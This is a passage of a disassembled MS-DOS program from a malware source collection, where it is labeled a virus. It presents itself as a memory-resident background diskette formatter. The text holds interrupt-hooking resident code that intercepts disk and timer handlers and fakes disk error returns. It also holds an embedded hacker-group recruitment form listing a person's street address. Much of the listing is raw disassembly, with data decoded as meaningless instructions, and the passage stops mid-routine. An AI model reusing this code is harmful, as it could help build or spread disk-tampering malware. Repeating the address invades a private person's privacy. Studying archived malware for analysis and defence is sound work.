MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ahadisk.asm
2021-01-12 17:29:01 -06:00

4043 lines
86 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ AHADISK ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 29-Feb-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0
data_2e equ 1
data_3e equ 3
data_4e equ 94h
keybd_flags_1_ equ 417h
dsk_recal_stat_ equ 43Eh
dsk_motor_stat_ equ 43Fh
dsk_motor_tmr_ equ 440h
video_mode_ equ 449h
video_port_ equ 463h
timer_low_ equ 46Ch
hdsk0_media_st_ equ 490h
data_16e equ 1000h ;*
data_17e equ 0 ;*
data_18e equ 3 ;*
data_234e equ 7C3Eh ;*
;-------------------------------------------------------------- seg_a ----
seg_a segment byte public
assume cs:seg_a , ds:seg_a
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; Program Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ahadisk proc far
start:
jmp loc_262
data_24 db 0, 0
data_25 dw 0
data_26 dw 0
data_27 dw 0
data_28 db 0
data_29 db 0
data_30 db 0
db 0
data_31 dw 1
data_32 db 19h
db 0
data_33 db ' ', 0
db 27h, 0
db '.', 0
db ' 360 K', 0
db ' 1.2 M', 0
db ' 720 K', 0
db '1.44 M', 0
data_37 db 0FFh
db 11h,0FFh
data_38 db 1Dh
db 0FFh, 11h,0FFh, 23h
data_39 db 1
db 0, 2, 0
data_40 db 23h
db 00h, 3Bh, 00h, 23h, 00h, 47h
db 00h
data_41 db 2
db 1, 2
data_42 db 1
data_43 db 0DFh
db 0DFh,0DFh,0AFh
data_44 db 9
db 0Fh, 09h, 12h
data_45 db 2Ah
db 1Bh, 2Ah, 1Ah
data_46 db 50h
db 54h, 50h, 6Ch
data_47 db 0FDh
db 0F9h,0F9h,0F0h
data_48 db 70h
db 0
db 0E0h, 00h
locloop_2:
jo loc_3 ; Jump if overflow=1
loc_3:
loopnz $+2 ; Loop if zf=0, cx>0
rol byte ptr [bp+si],1 ; Rotate
db 60h, 09h,0A0h, 05h, 40h, 0Bh
data_50 db 2
db 0, 7, 0, 3, 0, 9
db 0
data_51 db 62h
db 01h, 43h, 09h,0C9h, 02h, 1Fh
db 0Bh
data_52 db 6
db 1, 4, 3
data_53 db 0
data_54 dw 0
data_55 db 0
data_56 db 0
data_57 db 2Ah
data_58 db 50h
data_59 db 0
data_60 db 0, 0
data_61 dw 0
data_62 db 0
data_63 db 0
data_64 db 0
data_65 db 0
data_66 db 0
data_67 dw 0
data_68 dw 0
data_69 db 0
data_70 db 0
data_71 db 0
data_72 db 0
data_73 db 0
data_74 db 0
data_75 db 0
data_76 db 0
data_77 db 0
data_78 db 0
data_79 db 0
data_80 db 0
data_81 dw 130Dh
data_82 dw 0
data_84 dw 0
data_85 dw 0
data_86 dw 0
data_87 dw 0
data_88 dw 0
data_89 dw 0
data_90 dw 0
data_91 dw 0
data_92 dw 0
data_93 dw 0
data_94 db 0
data_95 db 0
data_96 db 0Bh
data_97 db 0
data_98 db 0, 0
data_99 db 0
data_100 dw 0
data_101 db 0
data_102 db 0
data_103 db 0
data_104 db 0
data_105 dw 0
data_106 dw 0
data_107 db 0
data_108 db 0
data_109 db 0
data_110 db 6
data_111 db 0A0h
data_112 db 0
data_113 db 0
db 11 dup (0)
data_115 db 0
db 9 dup (0)
ahadisk endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+di],al
add [bx],cl
add [bx+di],al
add [bp+si],cl
add [si+0],ah
;* call sub_5 ;*
db 0E8h, 03h, 10h
daa ; Decimal adjust
mov al,byte ptr ds:[4086h]
inc dx
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
ja $+7 ; Jump if above
add [bx+si],al
add [bx+si],al
pop dx
xor ax,355Ah
pop dx
xor ax,577h
add [bx+si],al
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_3:
add [bx+si],al
add [bx+si],al
add [bx+si],al
pop dx
xor ax,0
add [bx+si],al
add [bx+si],al
pop dx
xor ax,0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
pop dx
xor ax,577h
pop dx
xor ax,0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add bh,dh
;* pop cs ; Dangerous 8088 only
db 0Fh
;* jo loc_4 ;*Jump if overflow=1
db 70h,0FFh
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [di+6Eh],al
jz loc_5 ; Jump if zero
jc $+22h ; Jump if carry Set
inc sp
jc $+6Bh ; Jump if carry Set
jbe loc_6 ; Jump if below or =
and [si+6Fh],dl
and [bp+si+65h],al
and [bp+6Fh],al
jc $+6Fh ; Jump if carry Set
db 61h, 74h, 20h, 3Fh, 20h, 5Bh
db 'A'
db 5Dh, 00h
db 'Enter Drive Type ? (0 - 360K, 1 '
db '- 1.2M) [0]'
db 0
db 'Enter Drive Type ? (0 - 720K,'
loc_5:
and [bx+di],dh
and [di],ch
and [bx+di],dh
loc_6:
db '.44M) [0]'
db 0
db 'Number Of Diskette To Be Format '
db '(1-11) ['
data_182 dw 3131h
db 5Dh, 20h, 3Fh, 20h, 00h
db 'Insert New Diskette Into Drive '
data_183 db 41h
db 0
db 'Press ENTER To Start Format Or E'
db 'SC To Abort'
db 0
db 'Can', 27h, 't Release From Memor'
db 'y, Interrupt Vector Address Been'
db ' Changed'
db 0
db 'Press Any Key To Return To Main '
db 'Menu'
db 0
db 'No Format Report !'
db 00h, 00h, 00h, 00h, 00h, 2Dh
db 00h, 00h, 00h, 00h, 00h
db 43h, 70h
data_184 db 'HpApNpGpEpEpRpRpOpRp!pFpIpNpIpSp'
db 'Hp p p', 0
db 'p', 0
db 'p p pDisk Not Ready !', 0
db 'Disk Write Protected !', 0
db 'Seek Error !', 0
db 'Abort or Retry ?', 0
db 'Track 0 Bad, Diskette Unusable !'
db 0
db 'Program Interrupted !', 0
db 'Ready Printer, Press ENTER When '
db 'Ready !', 0
db 'Printing ....', 0
db 'I/O Error !', 0
db 'Printer Not Ready !', 0
db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
db 13h, 20h,0ADh
db 'aHa/nBa!Mem Resident Format '
db 1, 3
db ' Version 6.9'
db 01h, 10h, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0CCh, 01h
db 4Eh,0CDh,0B9h,0BAh, 01h, 4Eh
db 20h
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
db 0BAh
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
db 4Eh
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
db 0BAh, 01h
db 4Eh, 20h
db 0BAh,0C8h, 01h, 4Eh,0CDh,0BCh
db 01h, 87h,0D0h, 1Fh,0C9h, 01h
db 4Eh,0CDh,0BBh,0BAh, 01h, 4Eh
db 20h,0BAh,0BAh, 01h, 13h, 20h
db 0ADh
db 'aHa/nBa!Mem Resident Format '
db 1, 3
db ' Version 6.9'
db 01h, 10h, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0CCh, 01h
db 4Eh,0CDh,0B9h,0BAh, 01h, 1Ch
db 20h
db 0DAh, 01h, 15h,0C4h,0BFh, 01h
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
db 20h,0B3h
db ' Print Out '
db 0ADh
db 'aHa/nBa! '
db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh
db 01h, 1Ch, 20h,0C0h, 01h, 15h
db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh
db 0BAh, 01h, 1Ch, 20h,0DAh, 01h
db 15h,0C4h
db 0BFh, 01h, 1Bh, 20h,0BAh,0BAh
db 01h, 1Ch, 20h,0B3h, 01h, 04h
db ' Start format'
db 01h, 05h, 20h,0B3h, 01h, 1Bh
db 20h,0BAh,0BAh, 01h, 1Ch, 20h
db 0C0h, 01h, 15h,0C4h,0D9h, 01h
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
db 20h,0DAh, 01h, 15h,0C4h,0BFh
db 01h, 1Bh, 20h,0BAh,0BAh, 01h
db 1Ch, 20h,0B3h, 01h, 04h
db ' Format report'
db 01h, 04h, 20h,0B3h, 01h, 1Bh
db 20h,0BAh,0BAh, 01h, 1Ch, 20h
db 0C0h, 01h, 15h,0C4h,0D9h, 01h
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
db 20h,0DAh, 01h, 15h,0C4h,0BFh
db 01h, 1Bh, 20h,0BAh,0BAh, 01h
db 1Ch, 20h,0B3h
db ' Track display o'
data_187 dw 206Eh
db 20h, 20h,0B3h, 01h, 1Bh, 20h
db 0BAh,0BAh, 01h, 1Ch, 20h,0C0h
db 01h, 15h,0C4h,0D9h, 01h, 1Bh
db 20h,0BAh,0BAh, 01h, 1Ch, 20h
db 0DAh, 01h, 15h,0C4h,0BFh, 01h
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
db 20h,0B3h
db ' Release from memory '
db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh
db 01h, 1Ch, 20h,0C0h, 01h, 15h
db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh
db 0BAh, 01h, 1Ch, 20h,0DAh, 01h
db 15h,0C4h,0BFh, 01h, 1Bh, 20h
db 0BAh,0BAh, 01h, 1Ch, 20h,0B3h
db 01h, 09h, 20h, 45h, 78h, 69h
db 74h, 01h, 08h, 20h,0B3h, 01h
db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
db 20h,0C0h, 01h, 15h,0C4h,0D9h
db 01h, 1Bh, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh
db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh
db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
db 13h, 20h,0ADh
db 'aHa/nBa!Mem Resident Format '
db 1, 3
db ' Version 6.9'
db 01h, 10h, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0CCh, 01h
db 4Eh
db 0CDh,0B9h,0BAh, 01h, 4Eh, 20h
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
db 01h, 4Eh, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
db 20h,0BAh,0BAh, 01h, 4Eh, 20h
db 0BAh
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
db 01h, 4Eh, 20h,0BAh,0CCh, 01h
db 17h
db 0CDh,0D1h, 01h, 0Fh,0CDh,0D1h
db 01h, 10h,0CDh,0D1h, 01h, 15h
db 0CDh,0B9h,0BAh, 01h
db 3
db ' Drive To Be Format '
db 0B3h, 01h, 03h
db ' Drive Type '
db 0B3h
db ' Diskette No. '
db 0B3h
db ' Total Diskette(s) '
db 0BAh,0C7h, 01h, 17h,0C4h,0C5h
db 01h, 0Fh,0C4h,0C5h, 01h, 10h
db 0C4h,0C5h, 01h, 15h,0C4h,0B6h
db 0BAh, 01h, 0Bh
db 20h
data_188 db 41h
db 01h, 0Bh, 20h,0B3h, 01h, 05h
db 20h
data_189 db 31h
db 2Eh, 34h, 34h, 20h, 4Dh, 01h
db 04h, 20h,0B3h, 01h, 06h
db 20h
data_190 dw 3120h
db 01h, 08h, 20h,0B3h, 01h
db 09h, 20h
data_191 dw 3131h
db 1
db 0Ah, 20h,0BAh,0C8h, 01h
db 17h,0CDh,0CFh, 01h, 0Fh,0CDh
db 0CFh, 01h, 10h,0CDh,0CFh, 01h
db 15h,0CDh,0BCh, 01h, 87h,0D0h
db 1Fh,0C9h, 01h, 4Eh,0CDh,0BBh
db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh
db 01h, 13h
db ' Background Diskette Formatter S'
db 'tatus Report'
db 01h, 10h, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
db 20h,0BAh,0CCh, 01h, 0Ch,0CDh
db 0D1h
db 01h, 15h,0CDh,0D1h, 01h, 11h
db 0CDh
db 0D1h, 01h, 19h,0CDh,0B9h,0BAh
db ' Diskette '
db 0B3h, 01h, 07h, 20h, 56h, 6Fh
db 6Ch, 75h, 6Dh, 65h, 01h, 08h
db 20h,0B3h, 01h, 05h, 20h, 4Eh
db 6Fh, 2Eh, 20h, 4Fh, 66h, 01h
db 06h, 20h,0B3h, 01h, 04h
db ' Total Disk Space'
db 01h, 05h, 20h,0BAh,0BAh, 01h
db 05h, 20h, 4Eh, 6Fh, 2Eh, 01h
db 04h, 20h,0B3h, 01h, 04h
db ' Serial Number'
db 01h, 04h, 20h,0B3h
db ' Bad Cluster(s) '
db 0B3h, 01h
db 8, ' In Bytes'
db 01h, 09h, 20h,0BAh,0C7h, 01h
db 0Ch,0C4h,0C5h, 01h, 15h,0C4h
db 0C5h, 01h, 11h,0C4h,0C5h, 01h
db 19h,0C4h,0B6h
db 0BAh, 01h, 0Ch, 20h
db 0B3h, 01h, 15h
db 20h,0B3h, 01h, 11h, 20h,0B3h
db 01h, 19h, 20h,0BAh,0BAh, 01h
db 0Ch, 20h,0B3h, 01h, 15h, 20h
db 0B3h, 01h, 11h, 20h,0B3h, 01h
db 19h, 20h,0BAh,0BAh, 01h, 0Ch
db 20h,0B3h, 01h, 15h, 20h,0B3h
db 01h, 11h, 20h,0B3h, 01h, 19h
db 20h,0BAh,0BAh, 01h, 0Ch, 20h
db 0B3h, 01h, 15h, 20h,0B3h, 01h
db 11h
db 20h
db 0B3h, 01h, 19h, 20h,0BAh,0BAh
db 01h, 0Ch, 20h,0B3h, 01h, 15h
db 20h,0B3h, 01h, 11h, 20h,0B3h
db 01h, 19h, 20h,0BAh,0BAh, 01h
db 0Ch, 20h,0B3h, 01h, 15h, 20h
db 0B3h, 01h, 11h, 20h,0B3h, 01h
db 19h, 20h,0BAh,0BAh, 01h, 0Ch
db 20h,0B3h, 01h, 15h, 20h,0B3h
db 01h, 11h, 20h,0B3h, 01h, 19h
db 20h,0BAh,0BAh, 01h, 0Ch, 20h
db 0B3h, 01h, 15h, 20h,0B3h, 01h
db 11h, 20h,0B3h, 01h, 19h, 20h
db 0BAh,0BAh, 01h, 0Ch, 20h,0B3h
db 01h, 15h, 20h,0B3h, 01h, 11h
db 20h,0B3h, 01h, 19h, 20h,0BAh
db 0BAh, 01h, 0Ch, 20h,0B3h, 01h
db 15h, 20h,0B3h, 01h, 11h, 20h
db 0B3h, 01h, 19h, 20h,0BAh,0BAh
db 01h, 0Ch, 20h,0B3h, 01h, 15h
db 20h,0B3h, 01h, 11h, 20h,0B3h
db 01h, 19h, 20h,0BAh,0CCh, 01h
db 0Ch,0CDh,0CFh, 01h, 15h,0CDh
db 0CFh, 01h, 11h,0CDh,0CFh, 01h
db 19h,0CDh,0B9h,0BAh, 01h, 4Eh
db 20h,0BAh,0BAh, 01h, 15h
db 20h, 50h
db 'ress Any Key To Return To Main M'
db 'enu'
db 01h, 15h, 20h,0BAh,0BAh, 01h
db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh
db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh
db 0Dh, 0Ah, 0Dh, 0Ah, 20h
db 9 dup (20h)
db 0ADh
db 'aHa/nBa! Application Form! '
db ' ', 0Dh
db 0Ah, 'What file is this?', 0Dh, 0Ah
db ' Where Did '
db 'you get it from?', 0Dh, 0Ah, ' '
db ' Handle:', 0Dh, 0Ah
db ' Phone #:', 0Dh, 0Ah, ' '
db ' ', 0Dh, 0Ah, ' '
db ' List 3 boards whe'
db 're you could be reached at: ', 0Dh
db 0Ah, 0Dh, 0Ah, ' '
db ' Can y'
db 'ou HaCK?', 0Dh, 0Ah, ' '
db ' List a fe'
db 'w thigs you', 27h, 've hacked:', 0Dh
db 0Ah, 0Dh, 0Ah, ' '
db ' Ok! Send MoneY, pft,'
db ' and this letter to:', 0Dh, 0Ah, ' '
db ' Psycho', 0Dh
db 0Ah, ' 1340 W Irving', 0Dh
db 0Ah, ' #229', 0Dh, 0Ah, ' '
db ' Chicago, IL', 0Dh, 0Ah, ' 60'
db '613', 0Dh, 0Ah, ' '
db ' Ok! No'
db 'w, write about yourself: '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' '
db ' ', 0Ch, 0
db '.'
db 80h, 3Eh, 2Dh, 02h, 00h, 74h
db 08h, 2Eh,0FEh, 0Eh, 2Dh, 02h
db 0EBh, 09h, 90h
db 2Eh,0F6h, 06h, 2Eh, 02h, 80h
db 75h, 05h
loc_32:
jmp dword ptr cs:[195h]
loc_33:
mov word ptr cs:[1EAh],ax
mov al,0Bh
out 20h,al ; port 20h, 8259-1 int command
jmp short $+2 ; delay for I/O
in al,20h ; port 20h, 8259-1 int IRR/ISR
and al,0FEh
mov ax,word ptr cs:[1EAh]
jz loc_34 ; Jump if zero
jmp short loc_32
loc_34:
mov word ptr cs:[1FCh],ax
mov word ptr cs:[1FEh],bx
mov word ptr cs:[208h],sp
mov word ptr cs:[20Eh],ss
mov word ptr cs:[20Ch],ds
mov word ptr cs:[210h],es
mov word ptr cs:[20Ah],bp
mov word ptr cs:[204h],si
mov word ptr cs:[206h],di
mov word ptr cs:[200h],cx
mov word ptr cs:[202h],dx
mov ds,word ptr cs:[1E2h]
mov ss,word ptr ds:[1DAh]
mov sp,word ptr ds:[1DCh]
mov es,word ptr ds:[1E4h]
mov bp,word ptr ds:[1E0h]
mov si,word ptr ds:[1D8h]
mov di,word ptr ds:[1DEh]
mov ax,word ptr ds:[1D0h]
mov bx,word ptr ds:[1D2h]
mov cx,word ptr ds:[1D4h]
mov dx,word ptr ds:[1D6h]
jmp dword ptr cs:[195h]
mov word ptr cs:[1F8h],ds
mov word ptr cs:[1F6h],ax
mov word ptr cs:[1FAh],bx
mov ds,cs:data_25
mov bx,keybd_flags_1_
mov ah,[bx]
and ah,0Fh
cmp ah,0Bh
jne loc_36 ; Jump if not equal
test byte ptr cs:[22Eh],0C0h
jz loc_35 ; Jump if zero
test byte ptr cs:[22Eh],40h ; '@'
jz loc_36 ; Jump if zero
or byte ptr cs:[22Eh],20h ; ' '
jmp short loc_36
db 90h
loc_35:
or byte ptr cs:[22Eh],80h
loc_36:
mov ax,word ptr cs:[1F6h]
mov ds,word ptr cs:[1F8h]
mov bx,word ptr cs:[1FAh]
jmp dword ptr cs:[199h]
db 2Eh, 80h, 3Eh, 2Fh, 02h, 00h
db 74h, 0Dh, 2Eh,0C6h, 06h, 2Fh
db 02h, 00h, 50h,0B0h, 66h,0E6h
db 20h, 58h,0CFh
loc_37:
jmp dword ptr cs:[19Dh]
test dl,80h
jnz loc_38 ; Jump if not zero
test byte ptr cs:[22Eh],40h ; '@'
jz loc_38 ; Jump if zero
mov word ptr cs:[1EAh],ax
pop ax
pop ax
pop ax
or ax,1
push ax
sub sp,4
mov ax,word ptr cs:[1EAh]
mov ah,80h
iret ; Interrupt return
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
loc_38:
jmp dword ptr cs:[1A1h]
mov byte ptr ds:[22Eh],40h ; '@'
call sub_28
jnc loc_40 ; Jump if carry=0
clc ; Clear carry flag
loc_39:
call sub_11
jmp loc_121
loc_40:
mov ds,data_25
test byte ptr ds:dsk_motor_stat_,0Fh
push cs
pop ds
jnz loc_39 ; Jump if not zero
call sub_22
call sub_23
loc_41:
mov ax,55Ch
mov cs:data_93,ax
call sub_21
mov data_112,70h ; 'p'
call sub_27
call sub_13
loc_42:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,1Bh
je loc_48 ; Jump if equal
cmp al,0Dh
je loc_49 ; Jump if equal
cmp ah,48h ; 'H'
je loc_50 ; Jump if equal
cmp ah,50h ; 'P'
je loc_53 ; Jump if equal
and al,0DFh
cmp al,50h ; 'P'
je loc_43 ; Jump if equal
cmp al,52h ; 'R'
je loc_47 ; Jump if equal
cmp al,45h ; 'E'
je loc_48 ; Jump if equal
cmp al,53h ; 'S'
je loc_44 ; Jump if equal
cmp al,46h ; 'F'
je loc_45 ; Jump if equal
cmp al,54h ; 'T'
je loc_46 ; Jump if equal
call sub_11
jmp short loc_42
loc_43:
jmp loc_137
loc_44:
jmp short loc_55
db 90h
loc_45:
jmp loc_145
loc_46:
jmp loc_149
loc_47:
jmp loc_151
loc_48:
jmp loc_154
loc_49:
mov al,3
mul data_107 ; ax = data * al
add ax,offset loc_43
jmp ax ;*Register jump
loc_50:
mov data_112,1Fh
call sub_27
cmp data_107,0
je loc_52 ; Jump if equal
dec data_107
sub data_110,3
loc_51:
mov data_112,70h ; 'p'
call sub_27
jmp short loc_42
loc_52:
mov data_107,5
mov data_110,15h
jmp short loc_51
loc_53:
mov data_112,1Fh
call sub_27
cmp data_107,5
je loc_54 ; Jump if equal
inc data_107
add data_110,3
jmp short loc_51
loc_54:
mov data_107,0
mov data_110,6
jmp short loc_51
loc_55:
call sub_19
mov data_190,3120h
cmp data_28,1
jne loc_56 ; Jump if not equal
mov data_29,0
jmp short loc_60
db 90h
loc_56:
mov dh,0Dh
mov dl,18h
mov si,232h
call sub_14
call sub_13
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,1Bh
jne loc_57 ; Jump if not equal
jmp loc_41
loc_57:
cmp al,0Dh
je loc_60 ; Jump if equal
and al,0DFh
sub al,41h ; 'A'
jge loc_59 ; Jump if > or =
loc_58:
call sub_11
jmp short loc_55
loc_59:
cmp al,data_28
jge loc_58 ; Jump if > or =
mov data_29,al
add al,41h ; 'A'
mov byte ptr ds:[24Eh],al ; ('A')
mov data_183,al
mov data_188,al
loc_60:
call sub_19
call sub_37
test byte ptr [bx],1
jz loc_63 ; Jump if zero
mov dh,10h
mov dl,14h
test byte ptr [bx],2
jnz loc_61 ; Jump if not zero
mov si,251h
jmp short loc_62
db 90h
loc_61:
mov si,27Eh
loc_62:
call sub_14
call sub_13
mov al,31h ; '1'
mov data_102,al
mov al,[si-3]
mov data_103,al
mov data_89,1331h
call sub_16
and byte ptr [si-3],0FEh
or [si-3],al
xor al,1
xor data_31,ax
loc_63:
mov ax,data_31
call sub_39
loc_64:
call sub_20
mov dh,0Bh
mov dl,14h
mov si,2ABh
call sub_14
call sub_38
cmp data_101,0
je loc_69 ; Jump if equal
mov ax,word ptr ds:[137h]
mov bx,ax
cmp data_101,1
jne loc_65 ; Jump if not equal
xchg bh,bl
xor bl,bl ; Zero register
sub al,30h ; '0'
jmp short loc_67
db 90h
loc_65:
sub al,27h ; '''
cmp al,0Ah
jg loc_64 ; Jump if >
jz loc_66 ; Jump if zero
xor al,al ; Zero register
loc_66:
sub ah,30h ; '0'
add al,ah
cmp al,0Bh
jg loc_64 ; Jump if >
loc_67:
cmp al,0
je loc_64 ; Jump if equal
mov data_96,al
or bl,20h ; ' '
cmp bl,30h ; '0'
jne loc_68 ; Jump if not equal
mov bl,20h ; ' '
loc_68:
mov data_191,bx
mov data_182,bx
loc_69:
mov data_100,0F5h
mov data_95,0
mov data_99,0
call sub_20
mov dh,0Ah
mov dl,18h
mov si,2DAh
call sub_14
mov dh,0Ch
mov dl,13h
mov si,2FBh
call sub_14
call sub_13
loc_70:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,0Dh
je loc_72 ; Jump if equal
cmp al,1Bh
jne loc_71 ; Jump if not equal
jmp loc_41
loc_71:
call sub_11
jmp short loc_70
loc_72:
mov data_82,1525h
cli ; Disable interrupts
pushf ; Push flags
push cs
mov ax,201h
mov bx,28E9h
mov cx,1
mov dl,data_29
xor dh,dh ; Zero register
call sub_6
jnc loc_78 ; Jump if carry=0
clc ; Clear carry flag
test ah,80h
jz loc_78 ; Jump if zero
call sub_11
xor cx,cx ; Zero register
locloop_73:
loop locloop_73 ; Loop if cx > 0
call sub_11
call sub_56
call sub_20
mov dh,0Ah
mov dl,20h ; ' '
mov si,3DAh
call sub_14
loc_74:
mov dh,0Eh
mov dl,20h ; ' '
mov si,40Fh
call sub_14
call sub_13
loc_75:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
